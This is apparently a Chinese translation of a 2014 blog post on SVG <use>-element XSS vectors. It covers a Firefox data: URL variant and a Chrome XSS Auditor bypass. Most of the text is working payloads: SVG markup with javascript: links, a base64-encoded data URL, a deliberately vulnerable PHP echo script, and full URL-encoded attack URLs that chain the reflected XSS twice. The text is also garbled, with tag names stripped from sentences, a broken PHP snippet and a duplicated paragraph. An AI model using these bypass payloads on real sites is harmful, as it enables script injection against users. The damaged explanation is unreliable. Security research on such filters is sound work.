>
[Translated From]:http://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html
<svg><use xlink:href='external.svg#rectangle' /></svg>external.svg:<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
sxternal.svg文件以标签开始,其id设置为rectangle(矩形),使用标签绘一个矩形,用SVG绕过浏览器XSS审计。可以使用环绕标签,这样会创建一个超链接。使用Javascript的url协议,可点击的超链接在点击后会执行Javascript。 虽然SVG是经由标签加载的,Javascript将会得到执行。
有一点需要注意,它只能加载SVG文件,必须满足同源策略
======================FIREFOX======================
由于加载的外部SVG文件必须是同源的,这个特性看起来似乎无法作为有用的XSS攻击向量,但Firefox会帮我们提升这个攻击向量首先,你可以使用data:url协议,它允许我们百忙之中从内部创建一个文件。它要求正确的mime-type,在这里为image/svg+xml。mimie-type后是我们的攻击载荷或关键字base64。
特别地,由于数据被base64编码,这有助于避免突破HTML结构的问题。现在我们不必再依赖于服务器上的另一个文件了:test.html:
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle" /></svg>
解码后的base64载荷:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
======================
CHROME
XSS Auditor Bypass
现在用这个特性来对付Chrome,Chrome不支持标签xlink:href属性中的data:URL协议,另外目前还没有找到无需用户交互便执行Javascript的方法
不过至少在右用户交互的情况下,可以Bypass Blink/Webkit XSS Auditor
这里不需要用到参数污染,有一个参数就够了,Blink/Webkit XSS Audito无法捕获将参数拆分成两个或多个的XSS攻击
看一下这个php脚本(xss.php):
echo "
echo $_GET['x'];
echo " ";
?>
这个脚本存在XSS漏洞,但是使用下面这样的载荷则会触发XSS Auditor:
http://site.com/xss.php?x=
因此,让我们使用元素吧
Creating the
SVG on the fly
我们想加载另外的SVG文件,因此我们以 但是等一下,它必须满足同源,我们不能使用data伪协议,该怎么获取服务器上的文件呢? 很简单,我们在一行中两次利用XSS漏洞!首先,我们构建一个URL,制作一个包含了Javascript. URL为伪协议的SVG http://site.com/xss.php?x=<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100" /></a></svg>
但是等一下,它必须满足同源,我们不能使用data伪协议,该怎么获取服务器上的文件呢?
很简单,我们在一行中两次利用XSS漏洞!首先,我们构建一个URL,制作一个包含了Javascript. URL为伪协议的SVG
http://site.com/xss.php?x=<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100" /></a></svg>
如果你将整个URL粘贴到没有XSS Filter的浏览器,马上就会出现一个黑色的矩形,
现在我们要在元素中使用创建的SVG文件,制造一个形如这样的URL:
http://site.com/xss.php?x=<svg><use height=200 width=200xlink:href='http://vulnerabledomain.com/xss.php?x=<svg id="rectangle"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100"/></a></svg>#rectangle'/></svg>
不要忘了进行URL编码:
http://site.com/xss.php?x=%3Csvg%3E%3Cuse%20height=200%20width=200%20xlink:href=%27http://site.com/xss.php?x=%3Csvg%20id%3D%22rectangle%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20%20%20%20width%3D%22100%22%20height%3D%22100%22%3E%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E%3Crect%20class%3D%22blue%22%20x%3D%220%22%20y%3D%220%22%20width%3D%22100%22%20height%3D%22100%22%20%2F%3E%3C%2Fa%3E%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E
这下应该会显示出矩形了,点击就会执行alert,但是这一次没有触发 XSS Auditor :)
相关文章